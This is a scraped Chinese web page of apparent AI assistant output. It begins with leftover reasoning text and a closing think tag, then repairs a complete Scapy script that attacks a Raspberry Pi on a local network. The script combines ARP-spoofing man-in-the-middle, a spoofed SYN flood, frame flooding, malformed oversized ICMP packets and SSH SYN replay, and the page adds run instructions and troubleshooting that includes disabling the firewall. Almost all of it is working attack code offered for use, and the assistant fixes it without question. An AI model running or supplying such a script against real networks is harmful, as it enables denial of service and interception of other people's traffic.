如果无法获取MAC地址,相关攻击会被跳过并给出提示 - 在攻击结束后会发送ARP恢复包 §§相关问题§§: 1. 如何防御ARP欺骗攻击? 2. 在Linux系统中如何监控异常的SYN洪水攻击? 3. 有哪些工具可以检测和防御畸形数据包攻击? 4. 如何编写一个网络入侵检测系统(NIDS)来识别这些攻击?</think>### 解决攻击脚本失败的问题 从错误日志分析,主要问题集中在: 1. **无法获取网关MAC地址**(`Failed to get gateway MAC`) 2. **ARP欺骗发送失败**(`MAC address to reach destination not found`) 3. **Scapy接口警告**(`'iface' has no effect on L3 I/O send()`) 以下是完整的修复方案: #### 1. 修复MAC地址获取问题 ```python #!/usr/bin/env python3 from scapy.all import * import random import time import threading import os import sys # 配置参数 TARGET_IP = "192.168.1.103" # Raspberry Pi IP GATEWAY_IP = "192.168.1.1" # 使用'ip route | grep default'查找 INTERFACE = "ens33" # 使用'ip link show'确认 ATTACK_DURATION = 300 # 攻击持续时间(秒) def get_mac(ip): """更可靠的MAC地址获取方法""" try: ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=2, verbose=0, iface=INTERFACE) if ans: return ans[0][1].hwsrc except Exception as e: print(f"[-] 获取 {ip} 的MAC地址失败: {e}") return None def validate_environment(): """环境验证和MAC地址预获取""" if os.geteuid() != 0: print("[-] 必须使用root权限运行 (sudo)") sys.exit(1) if not os.path.exists(f"/sys/class/net/{INTERFACE}"): print(f"[-] 接口 {INTERFACE} 不存在") print("[!] 可用接口:") os.system("ip link show | awk '/^[0-9]/ {print $2}' | cut -d':' -f1") sys.exit(1) print(f"[+] 环境验证通过: 接口={INTERFACE}") # 预获取MAC地址 global TARGET_MAC, GATEWAY_MAC TARGET_MAC = get_mac(TARGET_IP) GATEWAY_MAC = get_mac(GATEWAY_IP) if not TARGET_MAC: print(f"[-] 无法获取目标 {TARGET_IP} 的MAC地址") sys.exit(1) if not GATEWAY_MAC: print(f"[-] 无法获取网关 {GATEWAY_IP} 的MAC地址") # 尝试使用广播地址作为后备方案 GATEWAY_MAC = "ff:ff:ff:ff:ff:ff" print(f"[!] 使用广播地址作为后备: {GATEWAY_MAC}") print(f"[+] 目标MAC: {TARGET_MAC}") print(f"[+] 网关MAC: {GATEWAY_MAC}") ``` #### 2. 修复ARP欺骗攻击 ```python def arp_spoofing(): """修复后的ARP欺骗攻击""" print("[+] Starting ARP Spoofing Attack...") end_time = time.time() + ATTACK_DURATION while time.time() < end_time: try: # 欺骗目标:攻击者是网关 sendp(Ether(dst=TARGET_MAC)/ARP( op=2, pdst=TARGET_IP, psrc=GATEWAY_IP, hwdst=TARGET_MAC, hwsrc=get_if_hwaddr(INTERFACE) ), iface=INTERFACE, verbose=0) # 欺骗网关:攻击者是目标 sendp(Ether(dst=GATEWAY_MAC)/ARP( op=2, pdst=GATEWAY_IP, psrc=TARGET_IP, hwdst=GATEWAY_MAC, hwsrc=get_if_hwaddr(INTERFACE) ), iface=INTERFACE, verbose=0) time.sleep(1) except Exception as e: print(f"[-] ARP欺骗错误: {e}") time.sleep(2) ``` #### 3. 修复SYN洪水攻击 ```python def syn_flood(): """修复后的SYN洪水攻击""" print("[+] Starting SYN Flood Attack...") end_time = time.time() + ATTACK_DURATION while time.time() < end_time: try: # 使用sendp而不是send,确保接口参数生效 sendp(Ether(dst=TARGET_MAC)/IP( src=f"192.168.1.{random.randint(100,250)}", dst=TARGET_IP )/TCP( sport=random.randint(1024, 65535), dport=random.choice([22, 80, 443, 8080]), flags="S" ), iface=INTERFACE, verbose=0, count=100) time.sleep(0.1) except Exception as e: print(f"[-] SYN洪水错误: {e}") time.sleep(1) ``` #### 4. 修复其他攻击方法 ```python def frame_flooding(): """修复后的帧泛洪攻击""" print("[+] Starting Frame Flooding Attack...") payload = b"X" * 1400 end_time = time.time() + ATTACK_DURATION while time.time() < end_time: try: dst_mac = f"02:00:00:{random.randint(0,255):02x}:{random.randint(0,255):02x}:{random.randint(0,255):02x}" sendp(Ether(dst=dst_mac)/IP( src=f"192.168.1.{random.randint(100,200)}", dst=TARGET_IP )/Raw(load=payload), iface=INTERFACE, verbose=0, count=50) except Exception as e: print(f"[-] 帧泛洪错误: {e}") time.sleep(1) def replay_attack(): """修复后的重放攻击""" print("[+] Starting Replay Attack...") try: # 构造SSH SYN包 ssh_packet = Ether(dst=TARGET_MAC)/IP(dst=TARGET_IP)/TCP( dport=22, flags="S", seq=random.randint(0, 2**32) ) for _ in range(100): sendp(ssh_packet, iface=INTERFACE, verbose=0) time.sleep(0.5) except Exception as e: print(f"[-] 重放攻击错误: {e}") ``` ### 完整修复脚本 将以上修复整合到完整脚本中: ```python #!/usr/bin/env python3 from scapy.all import * from scapy.layers.l2 import ARP, Ether, get_if_hwaddr from scapy.layers.inet import IP, TCP, ICMP, Raw import random import time import threading import os import sys # 配置参数 TARGET_IP = "192.168.1.103" # Raspberry Pi IP GATEWAY_IP = "192.168.1.1" # 网关IP INTERFACE = "ens33" # 网络接口 ATTACK_DURATION = 300 # 攻击持续时间(秒) TARGET_MAC = None # 将被初始化 GATEWAY_MAC = None # 将被初始化 def get_mac(ip): """获取IP对应的MAC地址""" try: ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=2, verbose=0, iface=INTERFACE) if ans: return ans[0][1].hwsrc except Exception as e: print(f"[-] 获取 {ip} 的MAC地址失败: {e}") return None def validate_environment(): """环境验证和MAC地址预获取""" if os.geteuid() != 0: print("[-] 必须使用root权限运行 (sudo)") sys.exit(1) if not os.path.exists(f"/sys/class/net/{INTERFACE}"): print(f"[-] 接口 {INTERFACE} 不存在") print("[!] 可用接口:") os.system("ip link show | awk '/^[0-9]/ {print $2}' | cut -d':' -f1") sys.exit(1) print(f"[+] 环境验证通过: 接口={INTERFACE}") # 预获取MAC地址 global TARGET_MAC, GATEWAY_MAC TARGET_MAC = get_mac(TARGET_IP) GATEWAY_MAC = get_mac(GATEWAY_IP) if not TARGET_MAC: print(f"[-] 无法获取目标 {TARGET_IP} 的MAC地址") sys.exit(1) if not GATEWAY_MAC: print(f"[-] 无法获取网关 {GATEWAY_IP} 的MAC地址") # 尝试使用广播地址作为后备方案 GATEWAY_MAC = "ff:ff:ff:ff:ff:ff" print(f"[!] 使用广播地址作为后备: {GATEWAY_MAC}") print(f"[+] 目标MAC: {TARGET_MAC}") print(f"[+] 网关MAC: {GATEWAY_MAC}") def frame_flooding(): """帧泛洪攻击 - 饱和网络带宽""" print("[+] Starting Frame Flooding Attack...") payload = b"X" * 1400 end_time = time.time() + ATTACK_DURATION while time.time() < end_time: try: dst_mac = f"02:00:00:{random.randint(0,255):02x}:{random.randint(0,255):02x}:{random.randint(0,255):02x}" sendp(Ether(dst=dst_mac)/IP( src=f"192.168.1.{random.randint(100,200)}", dst=TARGET_IP )/Raw(load=payload), iface=INTERFACE, verbose=0, count=50) except Exception as e: print(f"[-] 帧泛洪错误: {e}") time.sleep(1) def malformed_packet_attack(): """畸形包攻击 - 触发系统漏洞""" print("[+] Starting Malformed Packet Attack...") try: malformed_packets = [ Ether(dst=TARGET_MAC)/IP(dst=TARGET_IP)/TCP(flags=0, sport=80, dport=80), Ether(dst=TARGET_MAC)/IP(dst=TARGET_IP, flags="MF", frag=0)/ICMP()/("X"*16), Ether(dst=TARGET_MAC)/IP(dst=TARGET_IP, flags=0, frag=0)/ICMP()/("Y"*16), Ether(dst=TARGET_MAC)/IP(dst=TARGET_IP)/ICMP()/("Z"*65500), Ether(dst=TARGET_MAC)/IP(dst=TARGET_IP)/ICMP()/("A"*65507) ] for _ in range(100): for pkt in malformed_packets: sendp(pkt, iface=INTERFACE, verbose=0) time.sleep(0.1) except Exception as e: print(f"[-] 畸形包攻击错误: {e}") def arp_spoofing(): """ARP欺骗攻击 - 中间人攻击""" print("[+] Starting ARP Spoofing Attack...") end_time = time.time() + ATTACK_DURATION while time.time() < end_time: try: # 欺骗目标:攻击者是网关 sendp(Ether(dst=TARGET_MAC)/ARP( op=2, pdst=TARGET_IP, psrc=GATEWAY_IP, hwdst=TARGET_MAC, hwsrc=get_if_hwaddr(INTERFACE) ), iface=INTERFACE, verbose=0) # 欺骗网关:攻击者是目标 sendp(Ether(dst=GATEWAY_MAC)/ARP( op=2, pdst=GATEWAY_IP, psrc=TARGET_IP, hwdst=GATEWAY_MAC, hwsrc=get_if_hwaddr(INTERFACE) ), iface=INTERFACE, verbose=0) time.sleep(1) except Exception as e: print(f"[-] ARP欺骗错误: {e}") time.sleep(2) def syn_flood(): """SYN洪水攻击 - 耗尽连接资源""" print("[+] Starting SYN Flood Attack...") end_time = time.time() + ATTACK_DURATION while time.time() < end_time: try: sendp(Ether(dst=TARGET_MAC)/IP( src=f"192.168.1.{random.randint(100,250)}", dst=TARGET_IP )/TCP( sport=random.randint(1024, 65535), dport=random.choice([22, 80, 443, 8080]), flags="S" ), iface=INTERFACE, verbose=0, count=100) time.sleep(0.1) except Exception as e: print(f"[-] SYN洪水错误: {e}") time.sleep(1) def replay_attack(): """重放攻击 - 重复合法操作""" print("[+] Starting Replay Attack...") try: # 构造SSH SYN包 ssh_packet = Ether(dst=TARGET_MAC)/IP(dst=TARGET_IP)/TCP( dport=22, flags="S", seq=random.randint(0, 2**32) ) for _ in range(100): sendp(ssh_packet, iface=INTERFACE, verbose=0) time.sleep(0.5) except Exception as e: print(f"[-] 重放攻击错误: {e}") def start_attacks(): """启动所有攻击线程""" attacks = [ threading.Thread(target=frame_flooding), threading.Thread(target=arp_spoofing), threading.Thread(target=syn_flood), threading.Thread(target=malformed_packet_attack), threading.Thread(target=replay_attack) ] for attack in attacks: attack.daemon = True attack.start() # 主线程等待攻击完成 time.sleep(ATTACK_DURATION + 5) print("[+] All attacks completed") if __name__ == "__main__": validate_environment() # 启用IP转发 os.system("echo 1 > /proc/sys/net/ipv4/ip_forward") print(f"Starting attacks against {TARGET_IP} for {ATTACK_DURATION} seconds") start_attacks() # 清理:恢复ARP缓存 print("[*] Sending ARP recovery packets...") try: # 恢复目标ARP缓存 sendp(Ether(dst=TARGET_MAC)/ARP( op=2, pdst=TARGET_IP, psrc=GATEWAY_IP, hwdst=TARGET_MAC, hwsrc=GATEWAY_MAC ), iface=INTERFACE, count=5, verbose=0) # 恢复网关ARP缓存 sendp(Ether(dst=GATEWAY_MAC)/ARP( op=2, pdst=GATEWAY_IP, psrc=TARGET_IP, hwdst=GATEWAY_MAC, hwsrc=TARGET_MAC ), iface=INTERFACE, count=5, verbose=0) except Exception as e: print(f"[-] ARP恢复失败: {e}") ``` ### 关键修复说明 1. **MAC地址获取**: - 使用`srp()`替代`sr()`进行二层通信 - 在攻击前预获取MAC地址 - 添加后备方案(广播地址) 2. **ARP欺骗修复**: - 使用`sendp()`替代`send()`确保接口生效 - 显式指定源MAC地址(`get_if_hwaddr(INTERFACE)`) - 添加异常处理防止崩溃 3. **SYN洪水修复**: - 使用`sendp()`发送以太网帧 - 显式指定目标MAC地址 - 添加错误处理 4. **其他改进**: - 所有攻击包都封装在以太网帧中 - 添加全面的异常处理 - 改进ARP恢复机制 ### 使用说明 1. **保存脚本**: ```bash nano fixed_attack.py # 粘贴上述修复后的代码 chmod +x fixed_attack.py ``` 2. **确认网络配置**: ```bash # 查找网关IP ip route | grep default # 查找接口名称 ip link show ``` 3. **运行修复后的脚本**: ```bash sudo ./fixed_attack.py ``` 4. **验证攻击效果**: ```bash # 在攻击者机器上监控 sudo tcpdump -i ens33 host 192.168.1.103 # 在Raspberry Pi上观察 sudo dmesg -w # 查看内核日志 nload wlan0 # 查看网络流量 ``` ### 故障排除检查表 | 问题 | 检查点 | 解决方案 | |------|--------|----------| | **MAC地址获取失败** | 1. 目标是否在线<br>2. ARP请求是否被防火墙阻止 | `ping 192.168.1.103`<br>`sudo ufw disable` | | **ARP欺骗无效** | 1. 是否启用IP转发<br>2. 是否使用正确接口 | `sysctl net.ipv4.ip_forward`<br>`ip link show` | | **权限问题** | 1. 是否使用sudo<br>2. 是否在VM中启用混杂模式 | `sudo ...`<br>VM设置 > 网络适配器 > 混杂模式 | | **网络隔离** | 1. 是否在同一子网<br>2. 防火墙规则 | `ip addr show`<br>`sudo iptables -L` |
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值